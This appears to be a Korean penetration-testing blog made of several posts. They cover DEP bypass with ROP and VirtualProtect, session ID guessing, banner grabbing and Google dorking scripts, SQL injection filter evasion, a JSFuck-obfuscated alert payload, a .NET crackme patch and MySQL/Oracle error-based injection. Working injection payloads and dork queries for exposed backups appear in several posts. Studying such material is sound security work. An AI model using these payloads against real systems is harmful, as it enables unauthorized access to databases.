격이 성공하기 위해서는 먼저 DEP를 무력화 시켜야 한다. 이 DEP를 무력화 하는 데에는 여러 가지 방법이 존재하며, 


현재 DEP의 상태와 바이너리 상태에 따라 선택하면 된다.



# DEP 우회를 위한 Windows API 체인

 API 체인

설명 

VirtualProtect()

메모리 영역 실행권한 변경

 VirtualAlloc() + memcpy()

            실행가능한 새로운 메모리 할당 후 쉘코드 복사

HeapCreate() + HeapAlloc() + memcpy()

VirtualAlloc 과 유사

SetProcessDEPPolicy()

실행중인 프로세스의 DEP 정책 변경

NtSetInformationProcess()

실행중인 프로세스의 DEP 정책 변경 

WriteProcessMemory()

쉘코드를 쓰기/실행 가능한 영역에 복사하여 실행


위의 API 체인 외에도 전형적인 RTL(Return To Library) 방식으로도 우회가 가능하다. 이 경우에도 ROP를 통해 


인자값을 구성해 주어야 한다.



# VirtualProtect() 를 활용한 DEP 우회


위와 같이 DEP를 우회하는 방법은 다양하다. 상황에 따라 적용하면 되며, 이번에는 VirtualProtect() API 를 이용하여


우회를 해 보자. 먼저 함수의 인자값을 살펴보자.




첫번째 인자 ( lpaddress ) 는 변경할 주소값, 두번째 인자는 변경할 메모리 크기, 세번째 인자는 변경할 Flag(RWX등)


네번쨰 인자는 현재의 Flag 를 저장할 주소다. 이러한 인자값의 구성은 ROP 를 통해 이루어 지며, 먼저 ROP 에 대해


간략히 알아보자.





# ROP 기본 개념


ROP(Return Oriented Programming) 이란, Gadget(RET 로 끝나는 특정 명령 집합) 을 연속으로 호출하여 원하는 


명령을 수행하도록 하는 것이다. 기본적인 개념은 RTL 과 비슷하다. 코드 영역에 있는 영역으로 jump 하여 원하는


명령을 수행한 후, RET 명령을 통해 다시 원래의 스택으로 돌아오고, 다시 다음 가젯을 실행하는 식으로 명령 조각을


실행해 나가는 것이다. 이해를 쉽게 하기 위해 예를 들어보도록 하자.


 ※ RET = POP EIP 의 명령과 동일하므로 스택에 있는 가젯 주소를 차례대로 불러와 실행하게 된다.




# 가젯 예제

 ex1) ESP+18 

   -> ESP+18, RETN  


 ex2) MOV ESI, EAX

   -> PUSH ESI, POP EAX, RETN 



위와 같은 방식으로 목표한 명령이 포함된 가젯을 찾아서 연결해 주면 된다. 이러한 가젯을 쉽게 찾을 수 있도록


도와주는 몇가지 툴이 존재한다. (ropeme, pvefindaddr, mona.py 등) 이는 다음에 자세히 알아보도록 할 것이다.


ex1) ESI 에 0x60  값을 저장

 XOR EAX,EAX / RETN

 EAX 를 0으로 초기화

 ADD EAX,0x30 / RETN

 EAX 에 0x30 을 더함 

 ADD EAX,0x30 / RETN

 EAX 에 0x30 을 더함  

 PUSH EAX / POP ESI / RETN 

 스택을 통해 ESI 에 0x60 저장 


위와 같이 가젯을 4번 호출하여 원하는 명령어인 MOV ESI,0x60 과 동일한 명령을 수행하도록 만들어 냈다.


이러한 원리를 이용하여 DEP 우회를 위한 인자값을 구성하여 준 뒤 함수를 호출하게 되며, 함수 호출 후 쉘코드로


이동하여 기존의 BOF 공격과 동일하게 쉘코드를 실행시키게 된다.





# 신뢰성 있는 가젯을 찾기 위한 조건


 - 가젯의 주소에 0x00 이 없어야 함


 - 가젯이 존재하는 모듈은 ASLR 이 적용되지 않아야 함


 - 가젯이 존재하는 모듈은 재배치 되지 않아야 함 ( DLL Rebase ) 





# 기존 Direct RET Overwrite 의 스택 구성


Low Address

 1

 AAAAAAAAA....

 버퍼를 채우기 위한 쓰레기값

 2

 Jump to Shellcode

 쉘코드로 가기 위한 값 

 - 일반적인 direct EIP overwrite 의 경우 jmp esp 등

 - seh based exploit 의 경우 주로 pop pop ret 사용

   ( nseh + seh + nop + shellcode )

 3

 Nop + Shellcode

 



# VirtualProtect() 를 위한 가젯 구성


Low Address

 1

 AAAAAAAAA....

 버퍼를 채우기 위한 쓰레기값

 2

 Stack Pivot

 ROP 시작부분으로 가기 위한 값 

 - 일반적인 direct EIP overwrite 의 경우 RETN

 - seh based exploit 의 경우 esp+xx 의 pivot 필요 

 3

 ROP1 for Save Stack Pointer

 현재 스택값을 저장 / 인자값 주소 계산 등에 필요

 4

 VirtualProtect() Addr + Parameters

 VirtualProtect()주소, 실행 후 리턴값 및 함수의 인자값4개

 5

 ROP2 for VirtualProtect Parameter1

 Parameter1 값 생성 및 입력

 6

 ROP3 for VirtualProtect Parameter2 

 Parameter2 값 생성 및 입력 

 7

 ROP4 for VirtualProtect Parameter3

 Parameter3 값 생성 및 입력

 8

 ROP5 for VirtualProtect Parameter4

 Parameter4 값 생성 및 입력

 9

 Jump to VirtualProtect()

 4 로 돌아감 

 10

 Nop + Shellcode 

 4에서 VirtualProtect() 실행 후 돌아올 주소

 (쉘코드)

High Address




언뜻 봐도 기존의 ret 를 직접 덮어쓰는 exploit 에 비교해 훨씬 복잡해 보인다. 실제로 매우 복잡하다. 


이제 다음 블로깅에서는 직접 immunity debugger 를 활용하여 exploit 을 만들어 보자.




sessionid 추측 공격

2013. 5. 23. 22:11


# 세션ID 


웹서버는 특정 클라이언트를 구분하기 위한 목적으로 세션 변수를 만들어서 서버측에 저장해 둔다. 그리고 해당 값


을 클라이언트측에 set-cookie 를 통해 내려보내고, 다음 접속 시 cookie 에 포함된 이 sessionID 값을 확인하여 로그


인된 사용자인지 등 서버측에 저장된 정보와 비교를 하게 된다.


# SessionID 예제 1

Cookie: PHPSESSID=lfh3d6kb7c33crgi5o48bub1t4


# SessionID 예제 2

PCID=13681101204539449991611 


이와 같이 일반적으로 숫자와 문자, 특수문자를 혼합하여 만들어 낸다. 예제1의 경우 기본적으로 php 에서 제공


하는 세션값을 보여주고 있으며, 예제2와 같이 서버상에서 직접 만들어서 설정해 줄수도 있다.



# SessionID 분석


그럼 이 세션값이 어떤 식으로 공격당할 수 있는지 알아보도록 하자. WebScarab 툴의 SessionID Analysis Plubin


을 이용해서 분석이 가능하다.


[그림 1] www.****.co.kr 사이트의 시간의 흐름에 따른 세션ID 값 변화


위 그림을 보면 세션ID중 일부는 고정된 값을 가지고 있으며(be8cd4cAAVX) 뒤의 문자열만 일정한 비율로 증가하고 


있음을 알 수 있다. 숫자로 변환된 값을 보면 시간에 따라 값이 증가하다가 한번씩 값이 떨어진 뒤 다시 증가하고 있다


는 것을 확실히 확인할 수 있다. 즉, 일정한 공식에 의해 값이 생성된다는 것을 알 수 있다.


                    [그림 2] 세션값 변화 그래프


위 그림을 보면 이제 확실히 이해가 갈 것이다. 이러한 경우 bruteforcing 을 통해 쉽게 타인의 세션값을 획득 할 수 있


을 것이다. 



또 다른 예제를 살펴보자.



                                          [글림 3] 시간별 세션값 변화 그래프 2


위 그래프를 보면, 이 사이트의 경우 2초마다 값이 반복됨을 알 수 있다. 이 경우 2초간 최소값과 최대값 사이의 값을 


bruteforcing 할 수 있다면, 혹은 몇몇 고정값만을 반복 요청한다면 타인의 세션값을 획득하게 될수도 있다. 



이와 같은 고정된 공식을 통해 세션값을 생성하면 분석이 된 후에는 임의의 세션값을 추측하여 타인의 세션값을 얻게


될수도 있다. 그렇다면 안전한 사이트는 어떨까?



                                              [그럼 4] 랜덤하게 변화되는 세션ID값


위 사이트의 경우 말그대로 랜덤한 값이 할당되고 있어 추측이 매우 어렵다는 것을 알 수 있다.   :)




# 배너프린팅 (banner grabbing) 


 - 웹서버에 노출되는 정보를 수집하는 것.

 - 웹서버 종류에 따라 생각보다 많은 정보가 노출되기도 함 ( 운영체제 버전까지 노출되기도 함 )

 - 웹서버마다 설정법, 예방법은 모두 다르며 경우에 따라 컴파일을 다시 해주어야 하기도 함



# 자동화 소스


banner.py

 #-*- encoding:utf8 -*-

import sys,urllib
import urllib2
import socket

InfoHeader = ['Server','Set-Cookie','X-Powered-By']
print "Banner Grabbing..."
curl = "http://www.targetdomain.com/"
f = urllib.urlopen(url=curl)
banner = f.info()
print "#### [%s] Infomation ####" % curl
for line in str(banner).split('\n'):
	if line.split(':')[0] in InfoHeader:
		if line.split(':')[0] == 'Set-Cookie':
			if ('asp' in line.lower()) or ('php' in line.lower()) or ('jsession' in line.lower()):
				print line
				continue
			else:
				continue
		print line


# 실행결과


 Banner Grabbing...

#### [http://www.****.org/] Infomation ####

Server: Apache/2.2.8 (Ubuntu) DAV/2 SVN/1.5.1 mod_ssl/2.2.8 OpenSSL/0.9.8g

X-Powered-By: PHP/5.2.4-2ubuntu5.26


Google Dorking 자동화

2013. 5. 19. 11:41


이미 많이 알려진 google dorking.. 업무상으로나 호기심으로 가끔 특정사이트에 대한 dorking 을 시도해 보게 되는데


그리 잦은 일이 아니라 그동안은 수작업으로 해왔었다. 개인적인 이유+필요에 의해서 이번에 파이썬을 이용해서


간단하게 자동화를 해 보았다. 단점은 몇번 이상 쿼리를 날리면 제한되는 듯 하다. 아마도 구글 정책인 것 같다 :)


쿼리 간격을 랜덤하게 조절하고 에이전트를 바꿔주면 상관없이 될 것 같긴 하지만, 그렇게 쿼리를 많이 날릴 필요가


아직은 없기에 나중에 추가할 예정 :)



# googledorking.py

#-*- encoding:utf8 -*-

import json

import urllib

import sys

 

class googledock:

 

    def __init__(self,site,query,queryfilename="query.lst"):

        self.pages = 10

        self.query = query

        self.qfile = queryfilename

        self.site = site

 

    def search(self):

        results = []

        for page in range(0,self.pages):

            rsz = 8

            args = {'q' : "site:" + self.site + " " + self.query,'v' : '1.0','start' : page*rsz, 'rsz': "large",'safe' : "off", 'filter' : 1 }

            q = urllib.urlencode(args)

            search_results = urllib.urlopen('http://ajax.googleapis.com/ajax/services/search/web?' + q)

            data = json.loads(search_results.read())

            results.append(data)

        return results

   

    def get_urls(self):

        """Returns list of result URLs"""

        results = []

        searchresult = self.search()

        for data in searchresult:

            for result in data['responseData']['results']:

                if result:

                    results.append(urllib.unquote(result['unescapedUrl']))

        return results

 

if __name__ == "__main__":

    if len(sys.argv) != 2:

        print "Usage : %s [URL]\n [ex] %s www.target12345.com" % (sys.argv[0],sys.argv[0])

        sys.exit()

    site = sys.argv[1]

    f = open("query.lst")

    print "Starting GoogleDorks..."

    for querystr in f.readlines():

        print "[query : %s ]" % querystr.strip()

        g = googledock(site,querystr.strip())

        g.pages = 1

        resultset = g.get_urls()

        for url in resultset:

               print "\t- ", url 


내용이랄 것도 없고...그저 파일에 담긴 쿼리 리스트를 읽어와서 패킷을 전송하고 응답문을 보여준다.


아래는 실행 결과이다. 도메인은 *로 가렸다.

 C:\Users\hyunmini\Desktop\book\code\1.googledock>python googledork.py .org


Starting GoogleDorks...

[query : inurl:admin ]

        -  http://*.org/project/admin

        -  http://en.*.org/wiki/admin

        -  http://firstsearch.*.org/admin/

                       ...

[query : filetype:sql  intext:user ]

        -  https://www.*.org/trac/browser/branches/rewrite-user-management/docs/powerad

        -  http://www.*.org/trac/browser/contributed_modules/modules/a2billing/a2b/DataBas

        -  http://*.org/trac/browser/guacamole-auth-mysql/schema/002-create-admin-user.sq

                    ...

[query : filetype:bak inurl:"asp|jsp|php" ]

        -  http://www.*.org/home/_baks/home.php.0055.38ec.bak

        -  https://*.org/City Manager Message/_baks/CityManagerMessage.php.0030.da7

        -  http://www.*.org/government/generalinfo/_baks/hours.php.0012.907c.bak

                      ...

[query : intext:"Microsoft OLE DB" +intext:"오류" filetype:asp ]

        -  http://www.*.org/network_information/network_directory/directory_details2.asp

        -  http://www.*.org/help/FAQdetail.asp?FAQid=18

        -  http://www.*.org/gen3/data/clubs/ship_conf.asp

                      ...


어디선가 하루 100번 쿼리 제한이라고 들었던것 같긴 한데 확실친 않다. 나중에 확인해 봐야지...ㅎ


그럼 이만!



안녕하세요. 요즘 SeWEF 라는 툴킷을 새로 개발하고 있습니다.


정식 풀네임은 Secuholic Web Exploit Framework 이고, 웹 수작업 점검시 필요한 부분들을 자동화 하는 것을


목표로 여러가지 툴들을 만들고 있습니다. 완성시키기 까지는 꽤 긴 시간이 걸릴 듯 하여 중간중간 체크도 하고 스스


로 채찍질도 할 겸(?) 제작하는 동안 간단한 일지 형식으로 정리를 하려 합니다. 



                                                          [그림1] 외부 디자인

              

                    # 툴킷의 목표


1. 수작업 점검에 들어가는 단순노동 자동화

2. 기존 스캐너로 점검이 불가능한 부분 자동화

3. 필요에 따라 확장성이 있도록 모듈화한 프레임워크 형태



  # 제작도구

1. 작성언어 : python ( 사랑해요 파이썬 )

2. GUI : wxpython 

3. 개발환경 : sublime text2 



  # 현재 기획&작업 중인 모듈


1. S-Exploit Finder ( 90% 개발 진행)

 - exploit 코드 검색 및 다운로드

 - 주요 exploit 사이트 및 구글에서 코드를 검색

    [ exploit-db , metasploit, packetstorm, google...etc ]

 - 검색된 코드 viewer 구현 및 download 기능 구현


2. S-Spider ( 20% 개발 진행 )

 - 웹컨텐츠 스파이더링 기능 (ajax 포함)

 - 사이트 정보 및 플랫폼 정보 등 수집

    [ 배너정보, web/was 정보 및 OS 정보, 포트 정보, https 여부 등 ]

 - 관리자 및 백업/임시파일 등 컨텐츠 탐색 기능

 - 구글링

    [ error 페이지, db정보, 불필요 정보, admin 페이지 정보 등, 문서 수집 후 메타 데이터 분석 등 ]


3. S-SQLier ( 10% 개발 진행 )
 -  SQL Injection 관련 자동화 툴
 -  자동 점검 ( union, blind, error, false ... etc )
 -  BlindSQL 도우미
 -  수동 Payload 입력 지원 
 -  filter finder 및 evasion
 -  outbound query 지원(쿼리/DNS등)
 -  추가적인 공격기능(파일업로드/다운로드/명령 실행 등)

4. S-Decoder
 - 기본 인코딩/디코딩 및 필터링 우회 payload 생성툴
 - Hash ( MD4, MD5, SHA1, SHA256 CRC32, Whirlpool ) 
 - Encode/Decode ( xor, hex, url, base64, Upper, Lower, Reverse, Randomize, ... ) 
 - Encrypt/Decrypt ( ROT, Caesar, XOR, RC4, RC5, DES, 3DES, AES, Blowfish, SEED... )
 - Rainbow Table online searching
 - SQL Encoder ( mysql/mssql/oracle char, space, concat, ... )
 - JS Escape/UnEscape
 - JS 난독화(소스코드 레벨)
 - XSS 난독화( ex: alert(0) -> eval("al"+"er"+"t(0)") 등)

5. S-Cracker
 - 웹 인증 크랙(brute forcing/dict attack)
 - 구글 검색을 통한 사전 생성(수집한 정보를 기반으로 한국형 패스워드사전 생성)

6. S-ActXFuzzer 
 - Activex 점검용 툴

 - pydbg 이용






'My Tool' 카테고리의 다른 글

Secuholic Web Exploit Framework - Exploit Finder 베타버전  (3) 2014.03.04


재밌는걸 발견했다. ㅎㅎ


결론부터 말하면 파이썬을 이용하여 윈도우 프로그램을 제어하는 것인데, 이를 이용하면 수동 웹점검,


퍼징 등에 대한 자동화가 어느정도 가능할 것 같다. 



http://code.google.com/p/pywinauto/

'ETC' 카테고리의 다른 글

맥에서 wine 활용하기 - 기본 설정 및 IDA Pro 실행  (0) 2017.05.18
NULL@ROOT 2015년 신입회원 모집  (0) 2015.06.05
NTFS 분석 툴 - Disk Editor  (0) 2014.10.28


웹 점검을 하다 보면, 웹 방화벽 혹은 소스상에서 특정 키워드를 필터링 하는 경우를 볼 수 있다. 


이러한 경우 우회를 하기 위해선 먼저 어떤 문자열들이 필터링 당하는지 확인을 할 필요가 있다.


중요한 것은 먼저 필터링을 "발견" 하는 것이다. 필터링이 적용된 페이지 혹은 사이트의 경우


반응은 여러가지이다. 특정 문자열이 포함될 시 웹사이트의 반응은 아래와 같이 여러가지일 수 있다.



1) 500 에러 발생

2) 200 이지만 에러 페이지로 리다이렉트

3) 그냥 치환

4) 에러 메시지를 통한 자세한 정보 노출

5) 기타.. 



가장 편한 경우는 4) 의 경우이고, 다른 몇가지 경우에도 간단히 필터링되는 문자열을 찾아낼 수 있다.


1) 정상적인 페이지

 view.jsp?no=1155 


2) ' 가 필터링 되지 않아 아래의 경우에도 위와 동일한 응답

 view.jsp?no=11'55

 

3) " 는 필터링 되어 오류 메시지

 view.jsp?no=1155


위와 같은 방식으로 여러가지 특수문자들을 대입해 보면 필터링 당하는 문자열들을 발견할 수 있다.


필터링 당하는 문자열을 파악하고 나면, 공격 페이로드를 구성한 뒤 필터링 당하는 문자열들을 다른 문자열 혹은


함수를 이용하여 우회한다.


1. SQL Injection 

  1) 키워드 필터링 시

   - select, union 등 키워드 우회

      -> SeLEct

      -> s%E%l%e%c%T

      -> selselectect


   - or, and, = 등 필터링 시

      -> ^, |, & 사용

      -> like, between 사용


   - ' 필터링 시 문자열 조립

      -> char(0x41) + char(0x48) 

    

   - 공백 필터링

      -> /**/, %20, %2b, + , %09 등


                                                         ...(작성중)...


([][(![]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]()[(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]])([][(![]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]()[(![]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][(![]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]()+[])[!+[]+!+[]]]((![]+[])[+!+[]]+(+[![]]+[])[+[]])[+[]]+(+[![]]+[+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]])])[+!+[]+[+[]]]+([][[]]+[])[+[]]+([][[]]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(![]+[]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[]+[][[]])[+!+[]+[+[]]])


이게 뭘까요? ㅎㅎ


정답은 alert("hyunmini") 입니다. 자바스크립트 난독화. 


얼마전 웹 워게임을 풀다가 이 테크닉을 이용한 문제가 있었습니다.


대략 말씀드리면, 특정 연산을 하면 결과값이 NaN, Undefined, Number , Boolean, Object 등의 문자열로 반환이 되


는데, 이러한 문자열등을 이용하여 alert 등의 문자를 조립하여 호출하는 방식입니다.



자세한 설명은 아래 URL 참고 :)


http://adamcecc.blogspot.kr/2011/01/javascript.html

http://blog.fgribreau.com/2011/01/javascript.html

http://discogscounter.getfreehosting.co.uk/js-noalnum_com.php



리버싱을 하다보면 가끔 닷넷 프로그램을 리버싱 해야 할 경우가 있다. 사실 나도 닷넷 프로그래밍을 공부해본 적은 


없기 때문에 자세한 내부구조 까지는 알 수 없으나, 리버싱이 언제나 그렇듯이 중요한 건 프로그램에서 내가 고칠 


부분을 찾고, 코드 패칭 등 원하는 작업을 할 수 있으면 되기 때문에 큰 어려움은 없었다. 


가장 중요한 사실은 닷넷 프로그램은 관리코드 기반 언어이기 때문에 디컴파일이 매우 잘 된다는 것이다. :)


이번 코드 게이트 대회에서도 닷넷 프로그램이 문제에 나와서 나온 김에 정리를 해둔다.



# 닷넷 프로그램


 - 관리 기반 코드 ( = java JVM처럼 중간언어로 컴파일됨, MSIL 이란 언어로 컴파일 됨 )

 - 그러므로 디컴파일이 매우 쉽게 됨

 - 난독화 솔루션 존재하나, 어느정도 원복해주는 툴 또한 존재함



# 관련 리버싱 툴


 1) .net reflector ( 디컴파일러, http://www.red-gate.com/products/dotnet-development/reflector/ )

    - 가장 많이 사용되는 닷넷용 디컴파일러 / .net 다양한 언어 지원 / 다양한 플러그인 지원 / 유료(ㅠㅠ)

  

                                          [ 그림1 ] .net reflector 


 2) dotpeek ( 디컴파일러, http://www.jetbrains.com/decompiler/ )

    - 최근에 알게된 닷넷용 무료(!) 디컴파일러 / 깔끔한 인터페이스 / 아직은 플러그인이 별로 없는 것이 단점

                                                  [ 그림 2 ] dotpeek

 


# 닷넷 reflector 유용한 필수 플러그인


 1) Reflexil

    - MSIL 언어 수정을 가능하게 해주는 플러그인 

    - MSIL 언어를 알아야함 =_=/ 아니면 소스 받아서 컴파이를 아예 다시 하거나~! 


 2) deblector 

    - 닷넷 디버깅 도우미(?)

    - 리플렉터 상에서 디버깅을 하며 값 변경, 셋팅 등 일반적인 디버거의 기능을 추가해줌





# 코드게이트 문제 풀이


                                                   [ 그림 3 ] 코드게이트 binary 100 문제


문제를 열어보면 닷넷파일이고, 숫자키를 입력하게 되어 있다. 전형적인 crackme or keygen 문제이다. 


닷넷이니 일단 디컴파일을 한 뒤 소스를 확인 해보면, 아래와 같은 비교 루틴을 찾을 수 있다.


TransFormable() 함수 내부를 살펴보면, 입력받은 키값이 16글자인지 비교한 뒤 , 입력받은 키값을 AES 함호화 하여


저장되어 있는 키값과 비교한다. 이 2 조건을 통과하면 정답을 출력하도록 되어 있다. 즉, 소스만으로 평문 키값을 알


아내긴 어렵다. 방법은 여러가지가 있겠지만, 여기선 플러그인을 활용하여 코드패칭을 하고 실행하여 바로 키값이 출


력되도록 할 것이다. 


[ 그림 4 ] 키값 비교 및 정답 출력 함수


[ 그림 5 ] 무조건 정답출력 루틴으로 가도록 코드 패칭 (  ceq -> cgt 로 조작 )


[ 그림6 ] 파일명을 우클릭하여 Save as 로 패칭된 파일 저장



[ 그림 7] 정답화면

 















안드로이드 프로젝트에서 사용되는 폴더 및 파일들에 대한 정리.


무엇이든 정리해 두는 것이 남는 것이다! +_+



[그림1] 안드로이드 프로젝트 기본 폴더



1) src : 실제 작성한 프로그램 코드위치

2) gen : 프로젝트 안의 각종 개체의 ID가 정의된 파일 ( 이클립스가 자동으로 편집, 직접 편집 X)

3) Android 2.2 / Android Dependencies : 안드로이드의 기본 라이브러리

4) asset : 리소스 폴더(비디오, 오디오 파일 등)

5) bin : 안드로이드 실행파일 생성 폴더

6) res-drawable : 프로그램에 사용되는 이미지 폴더

7) res-layout : 프로그램의 레이아웃이 저장된 파일(버튼 배치 등)

8) ress-values-strings.xml : 프로그램 내부 문자열 정의

9) AndroidManifest.xml : 프로그램의 이름, 구성정보 등을 기록. 버튼 등의 이름도 저장

10) Proguard.cfg : 디컴파일 방지 관련 설정



   







인젝션 기법 중 에러 기반 인젝션은 쉽고 빠르기에 많은 분들이 알고 계시지만, 많은 분들이 MSSQL 에서만 가능한

 것으로 알고 있기도 합니다. 오라클에서의 에러 인젝션은 의외로(?) 잘 모르는 경우가 많습니다. 
(물론 알 사람들은 다 알지만..)

오라클에서도 마찬가지로 에러 인젝션 취약점이 존재하면 손쉽게 DB 정보를 취득할 수 있기에 오라클 기반의

웹애플리케이션 에서도 상당히 중요한 취약점이라 할 수 있습니다.

어쩃든! 오라클 에러 기반 인젝션에 대해 간단히 적어보겠습니다. 

기본적인 인젝션 개념을 알고 계신다는 전제 하에 설명은 간략히 하겠습니다.


# 예제 페이지 
 - list.jsp  :  id 값을 입력 받아 정보를 뿌려주는 페이지

# 예제 페이지 소스

- 소스를 보면 간단히 id 값을 입력 받아 "select * from users where ID=입력값" 으로 쿼리를 수행하는 것을 알 수 있습니다.


# 에러 발생 유도

- 소스에서 별다른 필터링을 하지 않기 때문에 ' 를 입력하면  쿼리문은 아래와 같이 입력되어 에러를 유발합니다.

  select * from users where ID=' 3 ' '  

 위에서와 같이 오라클 예외 에러 메시지(ORA-xx) 가 발생한다면 이 페이지에는 에러 기반 인젝션이 가능합니다.



# 인젝션 가능성 확인

위와 같이 입력하여 3 일때와 동일하게 결과가 출력된다면 확실하게 인젝션이 가능합니다.


# 에러 기반 인젝션에 이용할 패키지

에러기반 인젝션을 위해 에러 메시지를 뿌려줄 특별한 패키지를 사용합니다. 

위 말고도 몇가지 다른 패키지도 있습니다.

utl_inaddr.get_host_name() 은 해당 호스트를 질의할 수 없으면 에러 메시지로 해당 문자열을 출력합니다.



# 에러 메시지 확인


해당 패키지 안의 문자열이 표시됨을 알 수 있습니다. 

즉, 해당 () 안에 원하는 쿼리문을 실행시켜 쿼리 결과값이 보이도록 할 수 있다는 것을 확인 할 수 있습니다.


# 에러기반 인젝션 수행


 - 위와 같이 알수없는 "쿼리 결과값" 호스트 라는 형식으로 쿼리 결과값을 확인 할 수 있습니다 ^^


   지금까지 짧은 인젝션 팁이었습니다. 

 

 

SQL Injection 에서도 에러 기반 인젝션은 상당히 쉽고 빠른 방법 중 하나로 알려져 있습니다.

 

에러메시지를 기반으로 하기 때문에 결과값을 눈으로 확인할 수 있고 한번 공격에 한번이상 쿼리 결과 확인이

 

가능하기 때문입니다. 하지만 주로 알려진 것은 MSSQL 에서의 에러기반 인젝션이고, 그에 반해 oracle 이나

 

mysql 에러 기반인젝션은 많이 알려져 있지 않습니다. oracle 또한 예전에 제가 글을 올린적이 있었죠~. 이번엔

 

mysql 에서도 이러한 에러기반 인젝션이 가능함을 보여드리고, 또 위험성을 알리려고 합니다.

 

(단순 쿼리 에러메시지 정도야 뭐 어때라고 생각하시면 절대 안된다는 것입니다)

 

 

 

# MySQL Error Based SQL Injection 예시

 mysql> select sum(5),concat(version(),floor(rand(0)*2))as a from information_schema.tables group by a;
 ERROR 1062 (23000): Duplicate entry '5.1.63-0ubuntu0.10.04.11' for key 'group_key'

 

위와 같은 쿼리문을 날리면 group by 키워드에 해당하는 a필드가 중복되기 때문에 보시는 바와 같이 오류 메시지를

 

통해원하는 쿼리문의 결과를 확인 할 수 있습니다.

 

 

 

# ex) http://www.test.com/view.php?id=hyunmini

 

1) 정상 쿼리문

 -> http://www.test.com/view.php?id=hyunmini

 mysql> select id,name from userinfo where name='hyunmini';
+------+----------+
| id   | name     |
+------+----------+
| test | hyunmini |
+------+----------+
1 row in set (0.00 sec)

 

2) 에러기반 인젝션 공격 쿼리문

 -> http://www.test.com/view.php?id=xx' union (select count(*),concat('result: ',database(),' :',floor(rand(0)*2))as b from information_schema.tables group by b)#
 

 mysql> select id,name from userinfo where id='xx' union (select count(*),concat('result: ',database(),' :',floor(rand(0)*2))as b from information_schema.tables group by b);
ERROR 1062 (23000): Duplicate entry 'result: test :1' for key 'group_key'

 

 

어차피 인젝션이 존재한다는 가정하게 가능한 것이긴 하지만, blind 보다 데이터를 빼내오는 속도가 월등히 빠르기 때

 

문에 유용할 수 있습니다. 그럼 이만~

 



1) http://dev.metasploit.com/documents/api/


2) http://dev.metasploit.com/redmine/projects/framework/wiki/DeveloperGuide



모의해킹에서 많이 사용하는 메타스플로잇에 대한 공식 API 문서 및 가이드.


단순한 포팅 뿐 아니라 어느 단계 이상의 개발을 위해선 그 프레임워크를 이해하는 것은 필수다.


항상 그렇듯이 공식 자료부터 살펴보는게 좋다.



공부용 프레임워크 & war game 사이트 입니다. 해봤던 것들도 꽤 있네요 ㅎㅎ


원본 : http://www.felipemartins.info/2011/05/pentesting-vulnerable-study-frameworks-complete-list/



Web Pentesting

Application NameCompany/DeveloperURL
